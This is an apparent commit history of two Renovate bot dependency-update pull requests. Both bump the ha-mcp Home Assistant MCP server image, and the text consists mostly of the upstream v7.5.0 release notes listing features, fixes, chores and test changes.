([`36719c3`](homeassistant-ai/ha-mcp@36719c3)) - **addon**: Publish dev addon version 7.4.1.dev247 \[skip ci] ([`4dc47b5`](homeassistant-ai/ha-mcp@4dc47b5)) - **addon**: Publish dev addon version 7.4.1.dev246 \[skip ci] ([`6ffbd6a`](homeassistant-ai/ha-mcp@6ffbd6a)) - Sync tool docs after merge \[skip ci] ([`add66e3`](homeassistant-ai/ha-mcp@add66e3)) - **addon**: Publish dev addon version 7.4.1.dev245 \[skip ci] ([`d0114af`](homeassistant-ai/ha-mcp@d0114af)) - Sync tool docs after merge \[skip ci] ([`0ca41af`](homeassistant-ai/ha-mcp@0ca41af)) - **addon**: Publish dev addon version 7.4.1.dev244 \[skip ci] ([`d052dd0`](homeassistant-ai/ha-mcp@d052dd0)) - **addon**: Publish dev addon version 7.4.0.dev243 \[skip ci] ([`827bc65`](homeassistant-ai/ha-mcp@827bc65)) - Bump package version to 7.4.1 to match released addon ([`4f65497`](homeassistant-ai/ha-mcp@4f65497)) - **addon**: Publish dev addon version 7.4.0.dev242 \[skip ci] ([`8ba80ae`](homeassistant-ai/ha-mcp@8ba80ae)) - **addon**: Publish hotfix version 7.4.1 ([`bda75e6`](homeassistant-ai/ha-mcp@bda75e6)) - **addon**: Publish dev addon version 7.4.0.dev241 \[skip ci] ([`2126428`](homeassistant-ai/ha-mcp@2126428)) ##### Continuous Integration - **deps**: Bump renovatebot/github-action in the github-actions group ([#​1218](homeassistant-ai/ha-mcp#1218)) - **deps**: Bump renovatebot/github-action in the github-actions group ([#​1111](homeassistant-ai/ha-mcp#1111)) ##### Refactoring - Extract \_fetch\_dashboards\_list helper ([#​1193](homeassistant-ai/ha-mcp#1193)) ([#​1207](homeassistant-ai/ha-mcp#1207)) ##### Testing - **e2e**: Module-scope bulk\_automations + bulk\_scripts fixtures (refs [#​366](homeassistant-ai/ha-mcp#366)) ([#​1275](homeassistant-ai/ha-mcp#1275)) - **e2e**: Lower INPUT\_BOOLEAN\_WAIT from 30s to 10s (refs [#​366](homeassistant-ai/ha-mcp#366)) ([#​1273](homeassistant-ai/ha-mcp#1273)) - **e2e**: Generalize readiness-gate diagnostics helper (closes [#​1267](homeassistant-ai/ha-mcp#1267)) ([#​1271](homeassistant-ai/ha-mcp#1271)) - **e2e**: Narrow except clauses in e2e polling helpers (closes [#​1266](homeassistant-ai/ha-mcp#1266)) ([#​1270](homeassistant-ai/ha-mcp#1270)) - **e2e**: Drop ha\_mcp\_tools retry-path + pre-install manifest requirements ([#​1268](homeassistant-ai/ha-mcp#1268)) - **e2e**: Instrument and retry ha\_mcp\_tools readiness wait ([#​1262](homeassistant-ai/ha-mcp#1262)) - Use time.monotonic() in UAT runner and test\_env\_manager ([#​1254](homeassistant-ai/ha-mcp#1254)) - **e2e**: Detect partial/corrupt hacs\_frontend dir in fast-path guard ([#​1253](homeassistant-ai/ha-mcp#1253)) - **e2e**: Remove unused wait/assert helpers ([post-#​1249](https://github.com/post-/ha-mcp/issues/1249) audit) ([#​1256](homeassistant-ai/ha-mcp#1256)) - **e2e**: Clear stale .hacs\_frontend.lock from prior crashed runs ([#​1252](homeassistant-ai/ha-mcp#1252)) - **e2e**: Use time.monotonic() in workflow polling loops ([#​1258](homeassistant-ai/ha-mcp#1258)) - **e2e**: Use time.monotonic() for duration polling ([#​1234](homeassistant-ai/ha-mcp#1234)) ([#​1249](homeassistant-ai/ha-mcp#1249)) - **e2e**: Close ARM ha\_mcp\_tools readiness race under loadscope ([#​1208](homeassistant-ai/ha-mcp#1208)) - **hacs**: Tighten is\_hacs\_unavailable to not match legitimate "Repository not found" ([#​1246](homeassistant-ai/ha-mcp#1246)) - **seed**: Unblock 3 silent-skip pagination/state tests via baked recorder DB ([#​1240](homeassistant-ai/ha-mcp#1240)) - **seed**: Register a writable local\_calendar to unblock event-creation test ([#​1243](homeassistant-ai/ha-mcp#1243)) - **addon**: Fix base64 padding-bit flake in token tamper tests ([#​1238](homeassistant-ai/ha-mcp#1238)) ([#​1241](homeassistant-ai/ha-mcp#1241)) - **seed**: Add a writable scene for test\_call\_service\_scene\_turn\_on ([#​1231](homeassistant-ai/ha-mcp#1231)) - **seed**: Assign demo device to living\_room area for filter test ([#​1230](homeassistant-ai/ha-mcp#1230)) - **e2e**: Drop nonexistent sun service from session readiness wait ([#​1227](homeassistant-ai/ha-mcp#1227)) - **e2e**: Self-contain dashboard register/remove to fix ARM xdist race ([#​1196](homeassistant-ai/ha-mcp#1196)) ([#​1201](homeassistant-ai/ha-mcp#1201)) - Fix EN dash in docstring causing RUF002 lint failure ([`eac5916`](homeassistant-ai/ha-mcp@eac5916)) - Address Gemini review feedback on host detection and port allocation ([`960305e`](homeassistant-ai/ha-mcp@960305e)) - Fix three categories of E2E test flakiness ([`39417ff`](homeassistant-ai/ha-mcp@39417ff)) - **e2e**: Pin config\_hash stability for dashboards ([#​1132](homeassistant-ai/ha-mcp#1132)) </details> </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMDEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjEwMS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZS9jb250YWluZXIiLCJ0eXBlL21pbm9yIl19--> Reviewed-on: https://git.erwanleboucher.dev/eleboucher/homelab/pulls/455
….0 ) (#26) This PR contains the following updates: | Package | Update | Change | |---|---|---| | [ghcr.io/homeassistant-ai/ha-mcp](https://github.com/homeassistant-ai/ha-mcp) | minor | `7.4.0` → `7.5.0` | --- ### Release Notes <details> <summary>homeassistant-ai/ha-mcp (ghcr.io/homeassistant-ai/ha-mcp)</summary> ### [`v7.5.0`](https://github.com/homeassistant-ai/ha-mcp/blob/HEAD/CHANGELOG.md#v750-2026-05-13) [Compare Source](homeassistant-ai/ha-mcp@v7.4.0...v7.5.0) ##### Added - Add ENABLE\_LITE\_DOCSTRINGS beta toggle ([#​1259](homeassistant-ai/ha-mcp#1259)) - Add ha\_call\_event tool for publishing events on the HA event bus ([#​996](homeassistant-ai/ha-mcp#996)) ([#​1239](homeassistant-ai/ha-mcp#1239)) - Pinpoint backslash-escape mistake in python\_sandbox errors ([#​1204](homeassistant-ai/ha-mcp#1204)) - Reject empty-trigger automations targeting scene.create ([#​1187](homeassistant-ai/ha-mcp#1187)) - Add scene config tools — ha\_config\_get/set/remove\_scene ([#​1168](homeassistant-ai/ha-mcp#1168)) - **addon**: Optional OAuth 2.1 mode for webhook proxy (beta) ([#​1184](homeassistant-ai/ha-mcp#1184)) - Surface helper schema inline in ha\_config\_set\_helper validation errors ([#​1149](homeassistant-ai/ha-mcp#1149)) ([#​1179](homeassistant-ai/ha-mcp#1179)) - Emit progress via FastMCP Context in long-running tools ([#​1124](homeassistant-ai/ha-mcp#1124)) - Broaden python\_transform AST allowlist + improve error UX ([#​1163](homeassistant-ai/ha-mcp#1163)) - Add ha\_manage\_custom\_tool — sandboxed code execution escape hatch ([#​854](homeassistant-ai/ha-mcp#854)) - Always-on skills; rename list/read resource tools with ha\_ prefix ([#​1136](homeassistant-ai/ha-mcp#1136)) - Expose device\_class + options on ha\_set\_entity / ha\_get\_entity (Show As) ([#​1135](homeassistant-ai/ha-mcp#1135)) - **site**: Inline wizard data into setup.astro, migrate setup nuggets, drop content collections ([#​1120](homeassistant-ai/ha-mcp#1120)) - Add "Advanced debug logging" toggle for kill-signal diagnostics ([#​1117](homeassistant-ai/ha-mcp#1117)) - **yaml**: Scoped lovelace.dashboards.\<url\_path> support (issue [#​1034](homeassistant-ai/ha-mcp#1034)) ([#​1103](homeassistant-ai/ha-mcp#1103)) - Add HA\_VERIFY\_SSL toggle to disable TLS verification ([#​1104](homeassistant-ai/ha-mcp#1104)) - Per-top-level-key config\_hash for ha\_manage\_energy\_prefs ([#​1049](homeassistant-ai/ha-mcp#1049)) ([#​1098](homeassistant-ai/ha-mcp#1098)) - **site**: Add gemini-cli setup notes + compose hardening to wizard ([#​1027](homeassistant-ai/ha-mcp#1027)) ([#​1087](homeassistant-ai/ha-mcp#1087)) - Add convenience modes to ha\_manage\_energy\_prefs ([#​1050](homeassistant-ai/ha-mcp#1050)) ([#​1073](homeassistant-ai/ha-mcp#1073)) - Surface integration log levels in ha\_get\_logs/integration/addon ([#​956](homeassistant-ai/ha-mcp#956)) ([#​1003](homeassistant-ai/ha-mcp#1003)) - Expose allowlist\_external\_dirs in ha\_get\_overview full system\_info ([#​1053](homeassistant-ai/ha-mcp#1053)) - **dashboards**: Unify identifier handling in ha\_config\_\*\_dashboard tools ([#​981](homeassistant-ai/ha-mcp#981)) ([#​1075](homeassistant-ai/ha-mcp#1075)) - Include addon container logs in bug reports ([#​934](homeassistant-ai/ha-mcp#934)) - Add WebSocket response-shaping controls to ha\_manage\_addon ([#​1009](homeassistant-ai/ha-mcp#1009)) - Web-based settings UI for per-tool enable/disable/pin ([#​960](homeassistant-ai/ha-mcp#960)) - **site**: Add OpenCode support to setup wizard ([#​1080](homeassistant-ai/ha-mcp#1080)) ##### Changed - Clarify standard-mode HTTP deployment guidance ([#​1185](homeassistant-ai/ha-mcp#1185)) - Add Cloudflared add-on hostname alternative for tunnel service ([#​1183](homeassistant-ai/ha-mcp#1183)) - Align tool naming convention between AGENTS.md and styleguide ([#​943](homeassistant-ai/ha-mcp#943)) ([#​1174](homeassistant-ai/ha-mcp#1174)) - **addon**: Note tool-list ([#​985](homeassistant-ai/ha-mcp#985 divergence; fix [#​1139](https://github.com/homeassistant-ai/ha-mcp/issues/1139)/[#​1162](https://github.com/homeassistant-ai/ha-mcp/issues/1162) test conflict ([#​1172](homeassistant-ai/ha-mcp#1172)) - Add brew install option for mcp-proxy on macOS ([#​1171](homeassistant-ai/ha-mcp#1171)) - Update contributors list \[contributors-updated] ([`aba01a1`](homeassistant-ai/ha-mcp@aba01a1)) - Warn against enable\_tool\_search on Claude Sonnet/Opus ([#​1088](homeassistant-ai/ha-mcp#1088)) ([#​1140](homeassistant-ai/ha-mcp#1140)) - Address [#​1094](homeassistant-ai/ha-mcp#1094) review nits on OpenCode mirror comments ([#​1105](homeassistant-ai/ha-mcp#1105)) ##### Fixed - **integrations**: Surface ConfigEntry.options via OptionsFlow probe ([#​1245](homeassistant-ai/ha-mcp#1245)) - **backup**: Discover local agent at call time instead of hardcoding hassio.local ([#​1244](homeassistant-ai/ha-mcp#1244)) - Triage all 10 ha\_search\_entities behaviors from [#​1170](homeassistant-ai/ha-mcp#1170) ([#​1195](homeassistant-ai/ha-mcp#1195)) - Replace cron with systemd for demo server (prevents process leak) ([#​1110](homeassistant-ai/ha-mcp#1110)) - Improve ha\_manage\_addon discoverability (BM25 keywords + slug examples) ([#​1200](homeassistant-ai/ha-mcp#1200)) - Route Supervisor 401s to structured tool errors + add E2E coverage ([#​1129](homeassistant-ai/ha-mcp#1129)) ([#​1192](homeassistant-ai/ha-mcp#1192)) - Harden \_validate\_category\_id gate to cover dict-promoted category ([#​1190](homeassistant-ai/ha-mcp#1190)) - Broaden template anti-pattern detection + skill discoverability ([#​1011](homeassistant-ai/ha-mcp#1011)) ([#​1181](homeassistant-ai/ha-mcp#1181)) - Return newest automation traces, add offset+order pagination ([#​1177](homeassistant-ai/ha-mcp#1177)) ([#​1178](homeassistant-ai/ha-mcp#1178)) - **security**: Write YAML backups outside www/ (GHSA-g39v-cvjh-8fpf) ([#​1180](homeassistant-ai/ha-mcp#1180)) - **search**: Apply domain\_filter when area\_filter is set ([#​1162](homeassistant-ai/ha-mcp#1162)) ([#​1165](homeassistant-ai/ha-mcp#1165)) - **resources**: Reject HA-config YAML in dashboard resource content ([#​1160](homeassistant-ai/ha-mcp#1160)) - Close 19 bugs in ha\_config\_set\_helper (issue [#​1150](homeassistant-ai/ha-mcp#1150)) ([#​1151](homeassistant-ai/ha-mcp#1151)) - Route addon log fetches directly to supervisor on addon installs ([#​1126](homeassistant-ai/ha-mcp#1126)) - Survive read-only filesystems at startup ([#​1138](homeassistant-ai/ha-mcp#1138)) - **helpers**: Clarify name-required-on-create for ha\_config\_set\_helper ([#​1143](homeassistant-ai/ha-mcp#1143)) - Resolve disabled entities via entity\_registry in helper deletion ([#​1119](homeassistant-ai/ha-mcp#1119)) - Allow unary operators in python\_transform sandbox ([#​1118](homeassistant-ai/ha-mcp#1118)) - **site**: Add github-copilot-agents wizard branch + delete unreferenced data/clients.ts ([#​1108](homeassistant-ai/ha-mcp#1108)) - **addons**: Route addon API calls through HA Core ingress proxy ([#​1069](homeassistant-ai/ha-mcp#1069)) - **webhook-proxy**: Surface webhook registration failures instead of silently loading ([#​1101](homeassistant-ai/ha-mcp#1101)) - **site**: Resolve client display-order collisions and anchor OpenCode shape ([#​1094](homeassistant-ai/ha-mcp#1094)) ##### Performance Improvements - Dedupe lovelace/dashboards/list in ha\_config\_set\_dashboard ([#​1085](homeassistant-ai/ha-mcp#1085)) ([#​1191](homeassistant-ai/ha-mcp#1191)) ##### Refactoring - Drop obsolete ha\_mcp\_tools defensive ruamel.yaml imports ([post-#​1268](https://github.com/post-/ha-mcp/issues/1268)) ([#​1269](homeassistant-ai/ha-mcp#1269)) - Extract shared Supervisor httpx client helper ([#​1130](homeassistant-ai/ha-mcp#1130)) ([#​1203](homeassistant-ai/ha-mcp#1203)) - Surface client identity, AI model, config toggles, and prompt context in ha\_report\_issue ([#​1189](homeassistant-ai/ha-mcp#1189)) - Harden Context injection with safe-emit + branch coverage ([#​1173](homeassistant-ai/ha-mcp#1173)) - Consolidate area/floor set+remove tools (revisit of [#​813](homeassistant-ai/ha-mcp#813)) ([#​1139](homeassistant-ai/ha-mcp#1139)) - Pass verify\_ssl to remaining direct-Supervisor httpx callers ([#​1128](homeassistant-ai/ha-mcp#1128)) - Validate only new entries on convenience-mode writes ([#​1086](homeassistant-ai/ha-mcp#1086)) ([#​1100](homeassistant-ai/ha-mcp#1100)) *** <details> <summary>Internal Changes</summary> ##### Fixed - **ci**: Align pr.yml E2E with --dist loadscope ([#​1206](homeassistant-ai/ha-mcp#1206)) ([#​1247](homeassistant-ai/ha-mcp#1247)) - **ci**: Switch Renovate to a GitHub App token to allow workflow-file pushes ([#​1229](homeassistant-ai/ha-mcp#1229)) - **ci**: Break gemini-triage retrigger loop and bump turn budget ([#​1131](homeassistant-ai/ha-mcp#1131)) - **ci**: Harden gemini-triage so failures stop spamming user issues ([#​1122](homeassistant-ai/ha-mcp#1122)) - **ci**: Unbreak hotfix-release semantic-release run ([#​1091](homeassistant-ai/ha-mcp#1091)) ##### Chores - **addon**: Publish dev addon version 7.4.1.dev299 \[skip ci] ([`397aa6d`](homeassistant-ai/ha-mcp@397aa6d)) - **addon**: Publish dev addon version 7.4.1.dev298 \[skip ci] ([`942b7e0`](homeassistant-ai/ha-mcp@942b7e0)) - Sync tool docs after merge \[skip ci] ([`6823c47`](homeassistant-ai/ha-mcp@6823c47)) - **addon**: Publish dev addon version 7.4.1.dev297 \[skip ci] ([`6eac062`](homeassistant-ai/ha-mcp@6eac062)) - **addon**: Publish dev addon version 7.4.1.dev296 \[skip ci] ([`b2afe93`](homeassistant-ai/ha-mcp@b2afe93)) - **addon**: Publish dev addon version 7.4.1.dev295 \[skip ci] ([`4f4c4f3`](homeassistant-ai/ha-mcp@4f4c4f3)) - **deps**: Update ghcr.io/home-assistant/home-assistant docker tag to v2026.5.1 ([#​1236](homeassistant-ai/ha-mcp#1236)) - **addon**: Publish dev addon version 7.4.1.dev294 \[skip ci] ([`fd24991`](homeassistant-ai/ha-mcp@fd24991)) - **deps**: Update ghcr.io/astral-sh/uv docker tag to v0.11.13 ([#​1233](homeassistant-ai/ha-mcp#1233)) - **addon**: Publish dev addon version 7.4.1.dev293 \[skip ci] ([`fcc6496`](homeassistant-ai/ha-mcp@fcc6496)) - **addon**: Publish dev addon version 7.4.1.dev292 \[skip ci] ([`2961650`](homeassistant-ai/ha-mcp@2961650)) - **addon**: Publish dev addon version 7.4.1.dev291 \[skip ci] ([`5703112`](homeassistant-ai/ha-mcp@5703112)) - **addon**: Publish dev addon version 7.4.1.dev290 \[skip ci] ([`19b2f65`](homeassistant-ai/ha-mcp@19b2f65)) - **addon**: Publish dev addon version 7.4.1.dev289 \[skip ci] ([`e5a1365`](homeassistant-ai/ha-mcp@e5a1365)) - Sync tool docs after merge \[skip ci] ([`d2ff93b`](homeassistant-ai/ha-mcp@d2ff93b)) - **addon**: Publish dev addon version 7.4.1.dev288 \[skip ci] ([`0f62400`](homeassistant-ai/ha-mcp@0f62400)) - Sync tool docs after merge \[skip ci] ([`c7e2066`](homeassistant-ai/ha-mcp@c7e2066)) - **addon**: Publish dev addon version 7.4.1.dev287 \[skip ci] ([`c1133d4`](homeassistant-ai/ha-mcp@c1133d4)) - **addon**: Publish dev addon version 7.4.1.dev286 \[skip ci] ([`1ae790e`](homeassistant-ai/ha-mcp@1ae790e)) - **addon**: Publish dev addon version 7.4.1.dev285 \[skip ci] ([`2387d0c`](homeassistant-ai/ha-mcp@2387d0c)) - **addon**: Publish dev addon version 7.4.1.dev284 \[skip ci] ([`dd3a4a5`](homeassistant-ai/ha-mcp@dd3a4a5)) - **addon**: Publish dev addon version 7.4.1.dev283 \[skip ci] ([`78af8eb`](homeassistant-ai/ha-mcp@78af8eb)) - Sync tool docs after merge \[skip ci] ([`093fd74`](homeassistant-ai/ha-mcp@093fd74)) - **addon**: Publish dev addon version 7.4.1.dev282 \[skip ci] ([`2141e15`](homeassistant-ai/ha-mcp@2141e15)) - Sync tool docs after merge \[skip ci] ([`7810c95`](homeassistant-ai/ha-mcp@7810c95)) - **addon**: Publish dev addon version 7.4.1.dev281 \[skip ci] ([`7d79ec2`](homeassistant-ai/ha-mcp@7d79ec2)) - Sync tool docs after merge \[skip ci] ([`a73dc81`](homeassistant-ai/ha-mcp@a73dc81)) - **addon**: Publish dev addon version 7.4.1.dev280 \[skip ci] ([`c858ce3`](homeassistant-ai/ha-mcp@c858ce3)) - Sync tool docs after merge \[skip ci] ([`a587be0`](homeassistant-ai/ha-mcp@a587be0)) - **addon**: Publish dev addon version 7.4.1.dev279 \[skip ci] ([`b78ddb2`](homeassistant-ai/ha-mcp@b78ddb2)) - Sync tool docs after merge \[skip ci] ([`1210725`](homeassistant-ai/ha-mcp@1210725)) - **addon**: Publish dev addon version 7.4.1.dev278 \[skip ci] ([`a282c17`](homeassistant-ai/ha-mcp@a282c17)) - **addon**: Publish dev addon version 7.4.1.dev277 \[skip ci] ([`1081768`](homeassistant-ai/ha-mcp@1081768)) - Sync tool docs after merge \[skip ci] ([`e03f5d2`](homeassistant-ai/ha-mcp@e03f5d2)) - **addon**: Publish dev addon version 7.4.1.dev276 \[skip ci] ([`c4ef680`](homeassistant-ai/ha-mcp@c4ef680)) - **addon**: Publish dev addon version 7.4.1.dev275 \[skip ci] ([`780422d`](homeassistant-ai/ha-mcp@780422d)) - Sync tool docs after merge \[skip ci] ([`8a2bd1a`](homeassistant-ai/ha-mcp@8a2bd1a)) - **addon**: Publish dev addon version 7.4.1.dev274 \[skip ci] ([`f0f09de`](homeassistant-ai/ha-mcp@f0f09de)) - **addon**: Publish dev addon version 7.4.1.dev273 \[skip ci] ([`cb49f68`](homeassistant-ai/ha-mcp@cb49f68)) - **addon**: Publish dev addon version 7.4.1.dev272 \[skip ci] ([`5097186`](homeassistant-ai/ha-mcp@5097186)) - **addon**: Publish dev addon version 7.4.1.dev271 \[skip ci] ([`4714342`](homeassistant-ai/ha-mcp@4714342)) - **addon**: Publish dev addon version 7.4.1.dev270 \[skip ci] ([`217982a`](homeassistant-ai/ha-mcp@217982a)) - **addon**: Publish dev addon version 7.4.1.dev269 \[skip ci] ([`a65dd5f`](homeassistant-ai/ha-mcp@a65dd5f)) - Sync tool docs after merge \[skip ci] ([`0e6b54f`](homeassistant-ai/ha-mcp@0e6b54f)) - **addon**: Publish dev addon version 7.4.1.dev268 \[skip ci] ([`60ba1f2`](homeassistant-ai/ha-mcp@60ba1f2)) - **addon**: Publish dev addon version 7.4.1.dev267 \[skip ci] ([`13412aa`](homeassistant-ai/ha-mcp@13412aa)) - Sync tool docs after merge \[skip ci] ([`2702a0f`](homeassistant-ai/ha-mcp@2702a0f)) - **addon**: Publish dev addon version 7.4.1.dev266 \[skip ci] ([`77abe0b`](homeassistant-ai/ha-mcp@77abe0b)) - **addon**: Publish dev addon version 7.4.1.dev265 \[skip ci] ([`08b69db`](homeassistant-ai/ha-mcp@08b69db)) - Sync tool docs after merge \[skip ci] ([`c1f24b5`](homeassistant-ai/ha-mcp@c1f24b5)) - **addon**: Publish dev addon version 7.4.1.dev264 \[skip ci] ([`f2583f6`](homeassistant-ai/ha-mcp@f2583f6)) - Sync tool docs after merge \[skip ci] ([`c2ed2d3`](homeassistant-ai/ha-mcp@c2ed2d3)) - **addon**: Publish dev addon version 7.4.1.dev263 \[skip ci] ([`9d43e54`](homeassistant-ai/ha-mcp@9d43e54)) - **addon**: Publish dev addon version 7.4.1.dev262 \[skip ci] ([`a7355c8`](homeassistant-ai/ha-mcp@a7355c8)) - Sync tool docs after merge \[skip ci] ([`085bd8a`](homeassistant-ai/ha-mcp@085bd8a)) - Convert agents to skills ([#​1084](homeassistant-ai/ha-mcp#1084)) - **addon**: Publish dev addon version 7.4.1.dev261 \[skip ci] ([`0d1af36`](homeassistant-ai/ha-mcp@0d1af36)) - **addon**: Publish dev addon version 7.4.1.dev260 \[skip ci] ([`29397dc`](homeassistant-ai/ha-mcp@29397dc)) - **addon**: Publish dev addon version 7.4.1.dev259 \[skip ci] ([`4bbc74b`](homeassistant-ai/ha-mcp@4bbc74b)) - Sync tool docs after merge \[skip ci] ([`0f6d41e`](homeassistant-ai/ha-mcp@0f6d41e)) - **addon**: Publish dev addon version 7.4.1.dev258 \[skip ci] ([`6751d08`](homeassistant-ai/ha-mcp@6751d08)) - **addon**: Publish dev addon version 7.4.1.dev257 \[skip ci] ([`2213c89`](homeassistant-ai/ha-mcp@2213c89)) - **addon**: Publish dev addon version 7.4.1.dev256 \[skip ci] ([`18a366e`](homeassistant-ai/ha-mcp@18a366e)) - **addon**: Publish dev addon version 7.4.1.dev255 \[skip ci] ([`0e9b18d`](homeassistant-ai/ha-mcp@0e9b18d)) - **addon**: Publish dev addon version 7.4.1.dev254 \[skip ci] ([`39fc65b`](homeassistant-ai/ha-mcp@39fc65b)) - Sync tool docs after merge \[skip ci] ([`9fa0aea`](homeassistant-ai/ha-mcp@9fa0aea)) - **addon**: Publish dev addon version 7.4.1.dev253 \[skip ci] ([`0dcc59e`](homeassistant-ai/ha-mcp@0dcc59e)) - Sync tool docs after merge \[skip ci] ([`ec7413f`](homeassistant-ai/ha-mcp@ec7413f)) - **addon**: Publish dev addon version 7.4.1.dev252 \[skip ci] ([`345640c`](homeassistant-ai/ha-mcp@345640c)) - **addon**: Publish dev addon version 7.4.1.dev251 \[skip ci] ([`bab9d49`](homeassistant-ai/ha-mcp@bab9d49)) - Sync tool docs after merge \[skip ci] ([`726f0a5`](homeassistant-ai/ha-mcp@726f0a5)) - **addon**: Publish dev addon version 7.4.1.dev250 \[skip ci] ([`ded04ea`](homeassistant-ai/ha-mcp@ded04ea)) - **addon**: Publish dev addon version 7.4.1.dev249 \[skip ci] ([`37d5628`](homeassistant-ai/ha-mcp@37d5628)) - **addon**: Publish dev addon version 7.4.1.dev248 \[skip ci] ([`530786a`](homeassistant-ai/ha-mcp@530786a)) - Sync tool docs after merge \[skip ci] ([`36719c3`](homeassistant-ai/ha-mcp@36719c3)) - **addon**: Publish dev addon version 7.4.1.dev247 \[skip ci] ([`4dc47b5`](homeassistant-ai/ha-mcp@4dc47b5)) - **addon**: Publish dev addon version 7.4.1.dev246 \[skip ci] ([`6ffbd6a`](homeassistant-ai/ha-mcp@6ffbd6a)) - Sync tool docs after merge \[skip ci] ([`add66e3`](homeassistant-ai/ha-mcp@add66e3)) - **addon**: Publish dev addon version 7.4.1.dev245 \[skip ci] ([`d0114af`](homeassistant-ai/ha-mcp@d0114af)) - Sync tool docs after merge \[skip ci] ([`0ca41af`](homeassistant-ai/ha-mcp@0ca41af)) - **addon**: Publish dev addon version 7.4.1.dev244 \[skip ci] ([`d052dd0`](homeassistant-ai/ha-mcp@d052dd0)) - **addon**: Publish dev addon version 7.4.0.dev243 \[skip ci] ([`827bc65`](homeassistant-ai/ha-mcp@827bc65)) - Bump package version to 7.4.1 to match released addon ([`4f65497`](homeassistant-ai/ha-mcp@4f65497)) - **addon**: Publish dev addon version 7.4.0.dev242 \[skip ci] ([`8ba80ae`](homeassistant-ai/ha-mcp@8ba80ae)) - **addon**: Publish hotfix version 7.4.1 ([`bda75e6`](homeassistant-ai/ha-mcp@bda75e6)) - **addon**: Publish dev addon version 7.4.0.dev241 \[skip ci] ([`2126428`](homeassistant-ai/ha-mcp@2126428)) ##### Continuous Integration - **deps**: Bump renovatebot/github-action in the github-actions group ([#​1218](homeassistant-ai/ha-mcp#1218)) - **deps**: Bump renovatebot/github-action in the github-actions group ([#​1111](homeassistant-ai/ha-mcp#1111)) ##### Refactoring - Extract \_fetch\_dashboards\_list helper ([#​1193](homeassistant-ai/ha-mcp#1193)) ([#​1207](homeassistant-ai/ha-mcp#1207)) ##### Testing - **e2e**: Module-scope bulk\_automations + bulk\_scripts fixtures (refs [#​366](homeassistant-ai/ha-mcp#366)) ([#​1275](homeassistant-ai/ha-mcp#1275)) - **e2e**: Lower INPUT\_BOOLEAN\_WAIT from 30s to 10s (refs [#​366](homeassistant-ai/ha-mcp#366)) ([#​1273](homeassistant-ai/ha-mcp#1273)) - **e2e**: Generalize readiness-gate diagnostics helper (closes [#​1267](homeassistant-ai/ha-mcp#1267)) ([#​1271](homeassistant-ai/ha-mcp#1271)) - **e2e**: Narrow except clauses in e2e polling helpers (closes [#​1266](homeassistant-ai/ha-mcp#1266)) ([#​1270](homeassistant-ai/ha-mcp#1270)) - **e2e**: Drop ha\_mcp\_tools retry-path + pre-install manifest requirements ([#​1268](homeassistant-ai/ha-mcp#1268)) - **e2e**: Instrument and retry ha\_mcp\_tools readiness wait ([#​1262](homeassistant-ai/ha-mcp#1262)) - Use time.monotonic() in UAT runner and test\_env\_manager ([#​1254](homeassistant-ai/ha-mcp#1254)) - **e2e**: Detect partial/corrupt hacs\_frontend dir in fast-path guard ([#​1253](homeassistant-ai/ha-mcp#1253)) - **e2e**: Remove unused wait/assert helpers ([post-#​1249](https://github.com/post-/ha-mcp/issues/1249) audit) ([#​1256](homeassistant-ai/ha-mcp#1256)) - **e2e**: Clear stale .hacs\_frontend.lock from prior crashed runs ([#​1252](homeassistant-ai/ha-mcp#1252)) - **e2e**: Use time.monotonic() in workflow polling loops ([#​1258](homeassistant-ai/ha-mcp#1258)) - **e2e**: Use time.monotonic() for duration polling ([#​1234](homeassistant-ai/ha-mcp#1234)) ([#​1249](homeassistant-ai/ha-mcp#1249)) - **e2e**: Close ARM ha\_mcp\_tools readiness race under loadscope ([#​1208](homeassistant-ai/ha-mcp#1208)) - **hacs**: Tighten is\_hacs\_unavailable to not match legitimate "Repository not found" ([#​1246](homeassistant-ai/ha-mcp#1246)) - **seed**: Unblock 3 silent-skip pagination/state tests via baked recorder DB ([#​1240](homeassistant-ai/ha-mcp#1240)) - **seed**: Register a writable local\_calendar to unblock event-creation test ([#​1243](homeassistant-ai/ha-mcp#1243)) - **addon**: Fix base64 padding-bit flake in token tamper tests ([#​1238](homeassistant-ai/ha-mcp#1238)) ([#​1241](homeassistant-ai/ha-mcp#1241)) - **seed**: Add a writable scene for test\_call\_service\_scene\_turn\_on ([#​1231](homeassistant-ai/ha-mcp#1231)) - **seed**: Assign demo device to living\_room area for filter test ([#​1230](homeassistant-ai/ha-mcp#1230)) - **e2e**: Drop nonexistent sun service from session readiness wait ([#​1227](homeassistant-ai/ha-mcp#1227)) - **e2e**: Self-contain dashboard register/remove to fix ARM xdist race ([#​1196](homeassistant-ai/ha-mcp#1196)) ([#​1201](homeassistant-ai/ha-mcp#1201)) - Fix EN dash in docstring causing RUF002 lint failure ([`eac5916`](homeassistant-ai/ha-mcp@eac5916)) - Address Gemini review feedback on host detection and port allocation ([`960305e`](homeassistant-ai/ha-mcp@960305e)) - Fix three categories of E2E test flakiness ([`39417ff`](homeassistant-ai/ha-mcp@39417ff)) - **e2e**: Pin config\_hash stability for dashboards ([#​1132](homeassistant-ai/ha-mcp#1132)) </details> </details> --- ### Configuration 📅 **Schedule**: (in timezone America/New_York) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate). 